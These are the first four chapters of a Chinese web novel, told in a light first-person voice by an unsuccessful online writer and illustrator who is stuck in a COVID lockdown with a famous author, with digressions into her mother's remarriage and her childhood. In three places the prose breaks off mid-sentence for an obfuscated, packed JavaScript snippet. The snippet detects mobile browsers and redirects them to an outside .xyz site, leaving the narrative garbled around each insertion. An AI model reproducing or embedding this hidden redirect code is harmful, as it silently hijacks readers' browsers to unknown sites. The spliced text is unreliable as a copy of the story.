《写手那些事儿》 1. 第 1 章 我是一个网文写手,笔名叫法外狂徒。 读者们都亲切地称呼我为“徒徒”或者“狂徒太太”,也有读者用尊称,叫我狂徒老师。 我对自己的笔名很满意,觉得很符合我这狂野不羁的文风和天马行空的想象。 但这一切在法律界一个名叫罗翔的男人爆火之后终结了,现在的读者们不约而同地称呼我为 ——张三。 就连我一些码字的朋友们也开始喊我张三,稍微有良心一点的,比如我在码字论坛认识的基友“肥猪满圈”就喊我三三老师,这一切故事的起源,也是从这位“肥猪满圈”开始。 肥猪满圈是纯血东北人,家里祖孙往上数三四五六代都是东北纯血,籍贯黑龙江。 她爷爷不识字,过年贴对联的时候把肥猪满圈贴到了家里大门上,以至于那一年,她长胖了二十斤。 肥猪满圈是个超典型的社交恐怖分子,下至空星幼咕上至五星猛禽,她都能勾搭上。 某一天,她兴冲冲地告诉我,她勾搭了一位五星大神。 五星大神笔名叫做“残灯孤影”,我点开绿色软件搜索她专栏,里面只有一本《诡怪玩家》。 我惊呼:“卧槽好厉害啊居然一本五星!” 肥猪满圈也点头:“是哦好厉害哦就是人有点严格天天要我写学习心得每天还得交3000字的课后作业。” 彼时肥猪满圈三星,我一星。 星级是我们写作网站的一个评级标准,按照作者每本书赚多少钱来评级的,一星单本一万,二星单本五万,三星单本十万,四星单本五十万,五星单本一百万。 我写言情,肥猪满圈写耽美,一本五星的残灯孤影大佬也写耽美,我看着残灯孤影写的文,总觉得文笔太老练,节奏感太牛逼,文字造诣太深厚,不像新人。 后来有人扒她马甲,原来残灯孤影是她小号,她还有一个更广为人知的笔名——叙世。 反正很牛就是了,我和肥猪满圈加在一起也抵不过她一根头发丝那种。 在相当多的一段时间里,我和这位五星猛禽都没有太多交集,关于她的一切,都是从肥猪满圈那听来的。 比如她有点高冷,除了写文指导基本不聊私事。 比如她家境超棒,身材很好,人也长得很漂亮,因为她刚写文的时候微博还算活跃,偶尔会发点日常,发她健身跳芭蕾的照片,发她买的各种裙子,还晒过她买的包和项链。 我说根本不用看微博好吧,能去国外留学的人家境一般不会太差。 我酸言酸语,像吃了八百个柠檬。 肥猪满圈和我感叹:“世界上怎么会有这么完美的人,六边形战士啊,这日子换我过一天,我都不敢想象有多爽。” 我说道:“你个胆小鬼,我就敢想。” 想象很丰满,现实很骨感,后来我有一本文实在太扑街,都打算专心画画把买的机械键盘送肥猪满圈了,肥猪满圈劝我再试试,她很热心肠,请了大神帮我看文,然后我和这位五星大佬俩加上了微信。 她把我文里的问题都说了一遍,我觉得她语气挺温和的,人也不怎么高冷,而且眼光很犀利,一眼就能看出我的问题,不愧是单本能赚一百万的大神,写作对她来说就像呼吸一样轻松。 这会我刚上大二,因为从小脑子不怎么灵光,所以走艺考路线,拼尽全力考上了一个末流美院,没事就接点画稿赚生活费,改善一下日常伙食。 我基本都画大头,定价一百二,我画画有点慢,再加上人有点拖延,差不多得磨蹭个两三天才能画完一单,只有大头画的快,chuachua两下,一个半小时就能画完一张精品。 我数了数自己的小金库,给她打赏了三百块钱,对于一个大学生来说,这可真是一笔巨款啊! 你们以为得到大神点拨之后就能一飞冲天么? 然而并没有。 我依旧很扑街,大学毕业后依旧是一个可怜的一星作者,写了四本书加起来连五万都没有赚到。 我的主业依旧是画画,随着技艺日渐精湛,我最高一单能赚3000元左右,大学四年一共赚了16万,偶尔还会给肥猪满圈免费画个封面。 不过我画画依旧很慢,这种特别精细的大单,我得画个五六天。 大二下学期忽然爆发了疫情,疫情爆发后剩下的大学生两年过得特别恍惚,天天在寝室上网课,有时候还得交作业。 每次交作业,宿舍里就全是铅笔屑、染料、骂声还有泥巴。 大四弄完毕设后,我和肥猪满圈面基了。 肥猪满圈长得很清秀,刚见面的时候我俩还挺腼腆的,十分拘谨地坐在面馆里吃油泼面。 离开面馆后,我们已经手挽着手,肩并着肩,像一对异父异母的亲姐妹。 毕业后找工作就成了问题,工资低的令人发指,感觉要倒贴钱上班的样子,我连连碰壁心灰意冷,这时候浙江的一个动画公司让我去面试,我带着核酸报告和一袋口罩马不停蹄的去了。 肥猪满圈知道我在浙江之后,让我去找残灯孤影,因为残灯孤影刚搬家,肥猪满圈原本要去给她暖房,结果突然来了个密接,现在居家隔离中,暖房的事就只能交给我了。 我说这有点冒昧吧,我跟她根本没什么交流啊,会不会太尴尬。 肥猪满圈说道:“这会儿不是疫情么,出行太难了,我师父不是愿意麻烦别人的性格,只把搬家的事告诉了我,这可是个大工程啊,收拾东西打扫卫生一个人哪能忙得过来,只好把你临时拉过来做个苦力了。” “而且咱们都算是熟人了,又有扣扣又有微信,朋友圈的点赞之交那也是交啊。” “反正你就帮帮我吧,你想想一个弱女子千里迢迢从上海搬到浙江这得是多大的工程啊!” 我说:“我不介意做苦力,就是怕陌生人在一起会有点尴尬。” 我和残灯孤影交流不多,但也不是不完全交流,偶尔她会找我画个人设和封面。 肥猪满圈说道:“去吧,回东北后我请你吃烧烤。” 肥猪满圈的家在黑龙江,我家在辽宁沈阳,肥猪满圈是纯血东北,我则是南北混血,我妈是江苏人,和我爸一起在辽宁生活。 高考的时候,她无比庆幸给我落了个东北户口,按照江苏那个地狱模式,我都不一定有大学上。 很难说我是想看看大神的庐山真面目还是垂涎东北的烧烤。 反正在肥猪满圈的一再怂恿下我去了。 第1次去别人家拜访总不好空手去,我买了一个jallycat的兔子,因为玩具很轻,大多数女生都喜欢,基本不会踩雷,而且我不想拎着笨重的水果在一个陌生的地方跑来跑去。 残灯孤影的新家地址有点偏,那小区是个湖景房,景色很美,小区绿化也很好,看得我一愣一愣的。 出示了健康码核核酸证明又在小区完成登记后,我来了。 按响门铃后门开了,门后是一个高亮的荧光黄女人,狠狠硬控我三秒钟。 她穿着一身我也不知道是雨衣还是防晒服的什么东西,一直垂到膝盖下面,脚上蹬着一双荧光黄塑料鞋,是我小学三年级时疯狂追求的时尚,手上还戴着两只过手肘的荧光黄胶皮手套。 这一瞬间我还以为哪个荧光棒成精了。 我有点僵硬,略拘谨地说道:“你好,我是张三啊不不我是法外狂徒。” 她似乎笑了一下,栗棕色的波浪卷发垂在腰间,她皮肤非常白,要知道一个全身荧光黄还不显黑的人,这肤色的含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138130|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金量有多么高啊。 而且她长得很漂亮,鹅蛋脸,瑞凤眼,樱桃唇,再加上身材好,又瘦又高的,很像一只优雅的白天鹅,很有古典美,就是气质有点颓废。 她露出一个疲惫的笑容,说道:“请进,我还没来得及买拖鞋,你就直接进来吧。” 我把从商场里买的兔子玩偶递过去:“搬家礼物,不知道你喜不喜欢。” “哇!”她眼睛亮了一下,很惊喜看着那兔子,“好可爱!” 她接过兔子,我进了屋。 环顾四周,我就知道为什么肥猪满圈一定要我来了,因为屋里头竟然一个人也没有,只有一堆包裹很随便的放着。 我来的那天还是阴天,屋子里光线很阴暗,房子光秃秃的,墙白的刺骨,白色的地板看起来也冷冰冰的,上面还铺着一层薄薄的灰尘,一些细小的尘埃在空气中漂浮着,随后又慢慢落下。 空荡的房间,漂浮的尘埃,阴霾的日色,像一个滤镜似的,使一切蒙上一层薄雾般的哀愁。 她打开冰箱问我:“要不要喝点什么,我这里有橙汁和杨梅果汁。” 我说喝橙汁,她从冰箱里拿出两瓶味全果汁放在茶几上,我喝完一瓶之后就开始和她一起拆包裹。 拆包裹的时候我其实还挺好奇的,有一种寻宝的感觉,特别是当我拆开名为服装的大箱子时,忍不住抬起眼皮偷偷瞄了一眼那个满屋子行走的荧光黄。 正当我准备看到一堆奇形怪状的衣服时,箱子被我拆开了——里面都是睡衣和睡裙。 棉麻的、丝绸的、竹节棉的、天丝的、天丝和纯棉混纺的、莫代尔的...... 我惊呆了:“你怎么这么多睡衣啊?” 她笑了:“不,这是全职作者的工作服,我的工装。” 彼时刚从大学毕业的我还不懂她这句话的含金量。 我们俩就这样一边闲聊一边收拾东西,气氛很平和自然,不尴尬也不热切,但我觉得挺舒服的,毕竟不是所有人都像我和肥猪满圈那么自来熟,吃一顿油泼面的功夫就能称兄道弟。 我们收拾到晚上十点,厨房也擦了,客厅也干净了,阳台的灰尘和栏杆也收拾完了,厨房里的双开门白色冰箱也用酒精和消毒水擦了一遍。 这是一个两室一厅的房间,主卧和次卧都有阳台,采光都不错,主卧的床1米5,次卧的床1米2,房东留下的床垫还算干净。 我们俩喷了一遍酒精,铺上了她带过来的薄床垫和四件套,主卧铺了一套粉色四件套,次卧铺了一套奶黄色的。 她带过来的窗帘我们俩和合力弄上了,主卧是奶白色的雪尼尔窗帘,次卧的窗帘也是奶黄色的,都说软装提升温馨感,安上窗帘铺上四件套,两个房间顿时温馨多了。 我们俩累得够呛,洗漱之后倒头就睡。 我在那个奶黄色的次卧里睡到十一点才醒。 她醒的稍微早一点,外卖已经送来了,摆在了白色的餐桌上,我刷牙洗脸吃早餐,顺便和她闲聊一些写文的心得。 吃完早餐之后,她说晚上准备请我吃大餐,感谢我大老远跑过来帮她搬家。 她预约了一家米其林三星。 我很期待,已经开始跟肥猪满圈炫耀了,并准备发个朋友圈小小的炫耀一下。 这时候我还很虚荣,来自十八线小县城的年轻女生没啥见识,很热衷于装逼,有装逼的机会绝不放过。 但计划永远赶不上变化快,正当她掏出她的化妆包,我拿出我的眼线笔时,小区群里突然发布了新通知。 核酸检测结果出来了,小区有一个人感染新冠了,整个小区都要开始封闭,起码要居家隔离15天。 我和她惊慌地看着彼此,双方的眼中都透露着一丝呆滞和无措。 2. 第 2 章 幸运的是我带了电脑和数位板,不幸运的是我带的睡衣只有一套,一次性内裤也用完了,动画公司的面试也泡汤了。 残灯孤影——现在应该管她叫唐雨薇了,唐雨薇真挚地向我表达了她的歉意,并表示一定会对我负责到底。 我挠挠头,看到一片头皮屑从我面前飘落,于是我又悄悄把手放下了。 “负责到底,这话听起来怎么怪怪的,好像我是失去了清白的良家姑娘,”我把自己逗乐了, “你别自责,就当是休假了吧,其实我也不是很想出去找工作。” 我的性格就是很懒散的那种,对自己的人生没什么清晰的规划,我父母也眼界有限,没有办法帮我规划些什么,我站在他们的肩膀上看世界,现在的他们懂的还没有我多。 其实我上初中的时候不是这个样子,我上初中那会儿可勤奋了,天天十点睡觉,五六点钟起床,不要命的学习,特别自律勤奋的一个人。 后来因为一些原因,那股心气忽然就没了,成绩也一路下滑,中考失利,去了一个很差的高中,然后走了艺考的路子。 都说少年心气是不可再生之物,反正从初中之后,我就像一滩烂泥一样活着,有种活着也挺好死了也无所谓的颓废和豁达。 艺考是很烧钱的,我家偏偏没有钱,后来我妈觉得这样不是办法,就和我爸分开了,找了一个还算有钱的男人给我拿钱读大学。 我爸寻死觅活,哭晕在厕所,从此之后再也不随便把钱借给他所谓的兄弟们,也不再乱做生意了。 平心而论,我爸这个人真的人品不差,他很善良,而且宽容温和,是一个老实巴交的人,就是心太软不懂得拒绝,偏偏生了一副菩萨心肠。 慈不掌兵,义不掌财,菩萨心肠却没有雷霆手段,所以很多人在他身上占便宜,而且他从来不听我妈的话,向着很多人,就是不向着我妈。 我妈很聪明,上初中的时候成绩特别好,化学和数学总是接近满分。 那个时代的条件之艰苦是现在的很多年轻人无法想象的。 我妈上学要骑好几个小时的自行车,所以中午就得自己带饭,乡下农村吃的都是粗粮,也没有微波炉什么的,天一冷就容易变得邦邦硬,所以我妈妈家里仅有的一点白面,全都被我姥姥做成馒头和饼子给我妈带到学校去了。 就因为这点白面,我姥爷很不开心。 白面在那个时候实在是太宝贵了,后来我妈高考的时候发挥失常,差两分没有考上去,想再复读一年。 但我姥爷不同意,因为他不想把家里的白面再给我妈带到学校去了,于是就爆发了一次激烈的争吵,我妈心灰意冷之下就辍学了。 我估计到这会儿,我妈那股心气儿也没了,她嫁给了我爸,成为了一个忙碌的农村妇女,夏天种地,冬天养猪,嫁人后也过得不太好,受了很多气,怀着我的时候还要挥舞着镰刀在地里割豆子。 我生下来之后,她开始教我背古诗,她说我很聪明,古诗听两遍就能背会,我刚上一年级的时候,我妈发现我很爱看书,尽管那时候家里特别穷,但她每次去城里都要给我买两本故事书回来。 我在村里上小学的时候成绩特别好,次次都能考第一,我妈很高兴,我爸也很高兴。 后来上初中的时候,我爸妈一商量,觉得孩子的教育最重要,于是花了一点钱托人把我弄去了县城里上初中。 初中是一段很难忘的时光,在我的生命中留下了一段不可磨灭的记忆,但并不是完全愉快的。 反正我妈觉得我是一定要上大学的,因为在她眼里上不了大学就是废了。 我第一次高考落榜的时候她经常哭,有一次哭完之后洗把脸照镜子,发现自己风韵犹存(反正当时我妈就是这么对我说的),于是她去县城里找了一个男的,那男的家里是靠拆迁富起来的,在县城最繁华的那条商业街有两个门市,每年收租都能收不少。 我的艺考花费对他来说不算什么,他的原配老婆给他戴了不少绿帽子,把他的兄弟全睡了一遍,据说这男的从此之后大受打击,对全世界的女人都很失望,所以离婚三年也没再找,自己一个人开了一个小店,卖点化肥农药和种子。 我家每年种地的时候,我妈都会去他店里买农药化肥和种子,因为他给出来的价格很优惠,天气热的时候还会让我妈在店里坐一会儿,给我妈拿饮料和冰淇淋让她慢慢吃。 他还有一辆奔驰,有一次我妈买完货之后打不到从县城去往乡下的车,他就开着这辆奔驰送我妈回家。 从县城去往我家乡下的路要一个小时,那天星期四,正是乡下赶集的时间。 没在在农村生活过的年轻男女可能不知道赶集是什么,因为乡下没有商场,所以每个星期的某一天,各种商贩都会拉着货物聚集在某一条街道的两旁进行售卖,大家可以简单地理解为一个星期只存在一天的露天大市场。 赶集的时候人特别多,所以会堵车,我妈随口说了一句早上来的匆忙还没吃饭,那个男的就下车给我妈买了麻团和蛋糕和一箱优酸乳。 我妈很感激他,觉得这个男的人挺好,然后两人就开始闲聊,这个男的和我妈聊他老婆,我妈和这个男的聊我爸,聊着聊着两人惺惺相惜,共同感叹生活不易。 就在我第一次高考落榜的时候,我妈哭着去县城里买杀虫的农药,不管我考的好与不好,生活还是得继续,家里的地还得种,猪圈里的猪还得喂。 但是一个农村妇女哭着去店里买农药,在当时的环境下足够引起很多人的警觉了。 这个男的怕我妈想不开寻短见就一直没让她走,在店里问她发生了啥事,我妈就把我的事说了,说她觉得她和我爸特别对不起我,我本来是一个学习的好苗子,但是家里没钱,硬生生把我给耽误了。 这个男的沉默了会,给我妈递纸巾,在我妈面前喝了两罐啤酒后才开口:“要不你和你家男的离婚,跟我过日子吧,我商业街两个门市,一年租金加起来七万多。” 然后我妈哭着回家,洗把脸照镜子,觉得自己现在风韵犹存,再过个三五年可就不一定了,然后就和那男的在一起了。 那个男的有一个儿子,比我大两岁,学习特别好,上了我梦寐以求的县城里最好的那个高中,高考也考得特别好,考上了哈工大,学的计算机。 他爸再婚的事儿,他也没怎么反对,我觉得他也没有资格反对,他妈给他爸戴了那么多顶绿帽子,多年以后县城里依旧流传着他爸的传说,他就算心情再复杂也没有立场去反对。 但是能看出他对我和我妈特别反感,我妈和他爸办酒的时候,他就差当着我和我妈的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138131|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻白眼了。 他的心情我也能理解,毕竟自己老爸的钱突然要给外人花,原本自己能花十块钱的,现在只能花七八块了。 办酒的时候我也挺尴尬的,心情也特别复杂,看着穿着红色旗袍的我妈,我特别想哭。 她把头发挽起来了,还化了妆。 在我的印象中,我妈从来都没有化过妆,连口红都不涂,就涂点防晒,还是因为她紫外线过敏,太阳一晒就起疙瘩。 都说贫穷的生活环境无法持续供养女人的美貌,但我妈基因好,不得不说我姥姥家那一辈人的基因真的是特别牛,我大舅和我老舅贼帅,都是高鼻深目的帅哥,我妈也长得特别好看,而且他们都老的很慢,要比同龄人年轻15岁左右。 其实我觉得这也和我妈常年涂防晒有关系,有时候我们还是要相信科学,要知道除了岁月之外,紫外线才是使皮肤老化的元凶,虽然我妈擦的防晒就是很便宜的大宝,县城里的超市打特价的时候买的,一瓶只要15块钱。 我妈办酒之前的那个晚上,我一边整理她的敬酒服一边问她为什么当年会嫁给我爸,我妈说她那个时候颜控,就我爸长得眉清目秀,我姥姥对她说我爸家以前是大地主,家底挺丰厚的,就同意了这门亲事。 我说那个时候不都打土豪分田地了吗,我妈说没办法,主要是在那之前我们老鹿家实在太富有了,我太奶奶家里有一座炮楼,我爷爷一出生就穿绫罗绸缎,给人的印象太深刻了,总觉得我们家底蕴深厚。 我当时很震惊。 我爷爷身上总有许多灰和许多土,因为经常在猪圈里喂猪,所以身上总有种猪粪味儿,他总穿着蓝色涤纶背心和一条灰色的破烂裤子,因为长年干农活,腰都是弯的,他特别和蔼,没什么脾气,总是笑眯眯的。 我很难想象总穿着破衣烂衫的爷爷出生时居然是穿绫罗绸缎的。 我爷爷姓鹿,我爸也姓鹿,所以我也姓鹿。 这是个不怎么常见的姓氏,给人一种搭配任何字都会很好听的感觉,比如我我叫鹿幼薇。 大家是不是觉得这个名字很好听,其实我应该叫鹿有为。 那会的时代标语是妇女能顶半边天,这行白色大字就涂在我们村支书大队办公室的红砖外墙上,就连我们农村也受了很多影响,给女儿起的名字都叫胜男、亚男(不亚于男人)、冠男、德馨、德宇。 然后我妈爸决定响应时代的号召,让我叫鹿有为。 我爸觉得这个名字挺好,代表我年少有为。 我妈也觉得这个名字也挺好,因为她当时很沉迷于各种武侠电视剧,里面的大侠经常拿着折扇摇来摇去,然后说一句君子有所为,有所不为。 这是他们俩罕见的达成一致的时刻。 但是登记姓名的时候出了岔子,当时办事的人喝醉了酒,把鹿有为写成了鹿幼薇。 时至今日,我都非常感谢那个喝醉酒的工作人员。 好了,话题有点扯远了,反正我说我不是很想工作,但唐雨薇不信,后来她妈给她打微信视频,她去主卧接视频。 接完视频之后,再开门出来她心情就不怎么好了,喝了好几罐啤酒。 然后她就喝醉了,拉着我的手对我说,如果我找不着工作她就会养我。 反正我当时是不信的。 3. 第 3 章 封控时期出不了门,对于我们这种宅女来说不是什么大事儿,特别是唐雨薇这种死宅,她有时候可以一个月不出一次门。 我没有接触过太多的网文写手,我朋友圈一般都是画画的、雕塑的、做陶瓷的、代购的。我们画手的作息一般都不太正常,因为画画这东西很吃灵感,你感觉对了,就是神笔马良妙笔生花,感觉不对,那就是屎上雕花。 总而言之,不能出门对我们造成不了太多的影响,真正对我们造成影响的是做饭和收拾屋子。 唐雨薇不会做饭。 真巧,我也不会做饭。 那天收拾屋子闲聊的时候,我知道她曾经写过美食文,于是做饭这个重担就交给了她。 因为我的文中主角都是居家小能手,所以打扫卫生这种事儿就交给了我。 我们都忘了,理论和实际操作是两码事。 唐雨薇大老远搬家肯定不会把拖把也搬过来,这里只有房东留下的一个拖把,是那种伸进桶里往下一怼就可以旋转甩干的圆形拖把。 我不会用这种拖把。 我拖地的时候,这玩意儿一直在地面上转,感觉很不听话,而且这个拖把的头太小了,每次只能擦那么一点面积,而且这种拖把是没有办法完全甩干的,所以当我拖完地后,地板上留下了很多清晰可见的水痕。 水痕干了之后就变成了印子,而且这个屋子的地板特别白,所以那印子就特别明显。 唐雨薇从厨房出来的时候一下子就惊呆了。 她手里拿着个明晃晃的锅铲,我总觉得下一秒她那个锅铲都会朝我抡过来,我拿着拖把站在墙角,特别心虚。 但是我们刚认识,这时候大家都还是有所保留的,对彼此还是很客气很宽容的。 于是她慢慢放下了锅铲,问我:“你文里的主角不都是居家小能手吗?” 我干笑一声:“呃,我文里是这么写的,其实我也挺会做家务的,就是这个拖把不太习惯,我拖地的时候觉得它不只是一个简单的拖把。” 她把手里的锅铲从左手放到了右手,发出了一声困惑的单音节:“啊?” 我说:“你看到这个圆形的头了吗,我总觉得这个拖把成精了,它有自己的意识和节奏。” 我拖完地之后,唐雨薇端出两盘菜。 一盘是炒豆芽,一盘是青椒炒肉。 青椒炒肉200%的熟度,炒豆芽40%微熟。 我夹了两筷子,尝了一口之后默默的咽了下去,她吃了一口后也是面露难色。 她说:“我不常做饭,有点不太熟练。” 我说:“比我强,我第一次炒菜的时候差点把家里的房子点着了。” 这个时候我们还比较温和,因为不太熟,所以还保留着拘谨和客气,不像后来我拖不好地的时候,她轮着锅铲追着我打。 我们把炒豆芽回锅了一下,于是40%微熟的炒豆芽变成了100%熟,我们俩把那一盘豆芽全都吃光了,青椒炒肉丝的归宿是垃圾桶。 这时候我和唐雨薇还不太熟悉,不知道她是什么家底儿,这个家底儿指她的家境和生活背景,若是单论个人收入嘛,那她肯定是高收入人群。 我悄悄在论坛上搜索过她那本《诡怪玩家》,据说这一本的订阅收入可能有200万左右,再加上卖了挺多版权的,我觉得她起码赚了0.4个小目标。 由富到穷和从小就富到大的人是不太一样的,比如她,能看出来她从小就十指不沾阳春水,因为她不会做饭,连微波炉都不会用。 吃完饭之后我刷碗,然后我们就开始各做各的事情。 她在主卧里码字,我在次卧画画。 次卧有一张乳白色的书桌,长1米2,宽0.7米,对于画手来说,这个长度和宽度都还算比较理想,椅子是黑色的办公椅,没什么人体工学可言,腰部支撑力不够,我不得不把唐雨薇的羽毛枕头垫在腰后面当腰枕。 然后不知不觉就到了晚上,晚上得吃晚饭啊。 唐雨薇的第一选择永远都是外卖,她一个月各种外卖的钱差不多要花5000~6000,手机上有必胜客、肯德基、麦当劳、饿了么、美团、大众点评等各种各样的外卖APP。 但是现在小区外卖根本进不来,只有每天发放的蔬菜包,小区物业听说唐雨薇刚搬来,还没买米面粮油,于是又送了一小袋面,一小袋米,还有一小桶的大豆油,和那种塑料包装的豆油和醋。 我看着米面的包装,感觉就比我吃的乐事薯条稍微大那么一圈,好像谁家的大米白面还没满月就出来打工了。 但是问题又出现了,唐雨薇根本没有买电饭锅,这里的一些锅和刀具也不知道是上个租户还是房东留下的,唯一的一个锅是苏泊尔大铁锅,刀具是宜家的套装刀具,特别的锋利。 唐雨薇说这种锅热的特别快,她根本没办法掌握好火候,而且刀也使不惯,因为那些刀都太钝了。 她虽然不擅长做饭,但是也不会因为不擅长而推脱这件事,而是拿着平板点开了某个红色软件,开始找菜谱。 然后她炒菜,我洗菜,再负责刷碗。 我们根据蔬菜包里的东西努力做菜,但是蔬菜包吧,它里面的蔬菜不太全,而且我们这儿的调味品比较少,想做出一顿好吃的饭菜还是相当有难度的。 那袋面,我和唐雨薇尝试过烙饼。 烙饼是我提议的,因为这块没有蒸锅,没法蒸馒头,我小时候我妈和我奶常烙发面饼给我吃,我最喜欢吃第一张刚出锅的饼。 软软的,热腾腾的,表皮脆脆的,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138132|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒着油香。 我们俩按照视频教学谨慎操作,但不知道为什么,烙出来的发面饼硬邦邦的,没有一点松软的感觉,我们退而求其次,只能开始烙油饼。 我和唐雨薇都不喜欢吃油饼,就算加了点葱花进去弄成葱油饼,我俩也还是不喜欢。 后来我们俩只好尝试做疙瘩汤。 这个尝试也不算太成功,因为那个疙瘩没熟,是夹生的,也不知道是不是蔬菜放进去的时机不对,总冒着一股菜腥味。 反正我们俩就很痛苦的、非常痛苦的把那一小袋面给吃完了。 面吃完了还剩一袋米。 我们看着那袋米,那是一袋2千克的米,不常做饭的人没有对食物的概念,我们俩也不知道这袋米能吃多久。 将这两米拆封的时候,已经是封控的第5天了。 这五天里,我们俩疯狂喝水,试图让没有热量的水填补我们虚空的胃。 这五天里,唐雨薇瘦了四斤,我瘦了四斤半,我饿的连拖地的力气都没有了,数位板更是扔到一边,连看都不想看。 唐雨薇也不敲键盘了,躺在沙发上不愿意动弹,她穿着绿色碎花挂脖睡裙,很颓废的躺在沙发上,嘴唇起皮,脸色苍白,头发凌乱,眉眼憔悴。 她的手机放在茶几上,放着她的小说改编成的广播剧。 我饿的连手机都不想玩,抱着抱枕闭眼休息,把自己想象成一株靠光合作用就能活着的绿色植物,来回翻面儿晒太阳。 很难想象生活在21世纪的人们还有物质如此匮乏的时刻。 有的时候我们俩会反复打开冰箱,当然每次都是空空如也。 我又第1万次打开冰箱,两个喝光的味全果汁瓶子在里面躺着。 我抖着手拧开瓶罐,把鼻子贴在瓶口上,拼命去嗅冰凉凉甜滋滋的橙子香气。 我的口水开始分泌起来,甚至不自觉地发起了抖。 我的胃部开始疯狂痉挛,脑中不断回忆着刚来她家的时候她给我拿的味全橙汁。 等着该死的疫情结束后,我一定要买一箱味全橙汁,我发誓。 我拧上瓶盖,软着手脚走到沙发面前,唐雨薇一脸虚脱地躺在那,不知道是不是喝水太多,我总感觉她的脸有点浮肿。 我泄了力,一屁股坐在她旁边,努力地说道:“我觉得,咱们还是应该有一个电饭煲。” 她点头,颤抖着手指点开了物业的微信,和小区管理人员沟通一番后,她在美团上下单了一个小米电饭锅,物业人员把外包装进行消毒后将电饭锅送到门口,然后唐雨薇撑着一口气儿开门,把电饭锅给拎了进来。 中午,我们吃上了白米饭。 晚上,我们吃上了蛋炒饭。 她说从来没有觉得米饭如此香甜。 4. 第 4 章 居家隔离的第七天,小区群里开展了一个套餐团购活动。 套餐有两款,一款是肉食套餐,里面有猪排骨、牛肉、鸡心、鸡肝和一箱鸡蛋。另一款套餐是调味料套餐,油盐酱醋糖桂皮香叶八角还有王守义十三香。 我和唐雨薇差点就要喜极而泣了,两款套餐都要了一份,然后我开始给我妈打电话问鸡肝和鸡心怎么做。 在我妈的指导下,我做出了一份土豆炖鸡肝和鸡心,唐雨薇尝了一口,立刻发出了一声喟叹,栗棕色的卷发在她脸颊边晃来晃去,睫毛甚至都爽得抖了两下,就像我偷偷吸味全果汁瓶子时的样子。 当然我做出的菜和我妈做的还是差了十万八千里,我也不知道为什么,明明每个步骤都是按照我妈的指挥做的,但就是不如我妈做的好吃。 我妈是一个心灵手巧的人,不仅做菜好吃,手也很巧,我上小学的时候,她还会用老式缝纫机给我做棉鞋和棉裤。 我们吃完饭之后,她又给我打了个视频,又顺便提起了刘叔家的儿子。 刘叔就是前文中提到的“那个男的”,他叫刘佟伟,他的儿子叫刘执玉,大学毕业后去了抖音敲代码。 刘执玉从小到大都是别人家的孩子,从小到大都是第一名,我高考那年他上大二,刘叔让我加他微信,说是有不会的题可以问他。 我们加了微信,但从来不说话,他的朋友圈一直把我屏蔽,从来不对我开放。 我高考考完那年,他放暑假回家,穿着白色T恤衫和水蓝色牛仔裤,整个人又高又瘦又白,脸上戴着一个细细的银框眼镜,特别清秀斯文。 他长得挺帅的,追他的女生不少,有很多女生给他写过情书。 为什么我会知道这件事呢,因为我看过那帮女生写给他的情书,就塞在他的一些教辅书里。 刘叔家的房子是三室一厅,我住的房间原本是刘执玉的书房,里面有一排直达天花板的实木书架,书架上放着刘执玉的书,有高中教材和其他的教辅书,还有他以前记过的各科笔记,剩下的一些是天文地理名人传记和一些与计算机相关的书,除此之外,还有一些我连名字都看不懂的英文书。 这些书是没有人敢给他扔的,因为他的脾气很强势,刘叔有点怵他。 其实不只是刘叔,我妈和我都有点怵他,我和我妈都是老实本分的人,没那么多的心思,什么小说里的那种后妈继女和原配子女争夺家产的事情是没有的,见了他永远都是客客气气的。 我连那排书架都不敢独占,就把自己的书放进一些空着的格子里,也就学习无聊的时候会翻翻那些书,想蹭一蹭学霸身上的智慧光环,保佑我做数学题的时候不那么困难。 然后就在一本厚厚的物理五三书里翻到了好几封情书,上面的字十分娟秀,而且字迹各有不同,显然都是不同的女生写给他的。 我没有忍住好奇心,把那些情书看了一遍。 看着看着,勾起了我的一些回忆,心里忽然有点酸涩。 我初中的时候喜欢过我们班的一个男生,那个男生长得特别好看,皮肤白白的,睫毛长长的,笑起来有酒窝,学习特别好,还特别幽默。 我能感觉到他也有点喜欢我,但我中考考得特别差,没有和他上一个高中。 我看过他的企鹅空间,他去高中报到的前一天在空间发了一条动态:“期待着什么的出现。” 我觉得他期待的可能是我,但是我中考的成绩实在很不理想,那时候无论是班上的班主任还是班里的同学,都没有想到我会考这么差,其中也包括他。 然后我来了现在的这个二流高中。 其实我希望他能来找我。 小县城嘛,哪里都是小小的,从他的学校打车来到我的学校都不到20分钟,他和我亲戚家的孩子关系很好,如果问一句,就能知道我在哪个班。 其实我也挺期待他的出现。 可就像我没有出现一样,他也没有出现。 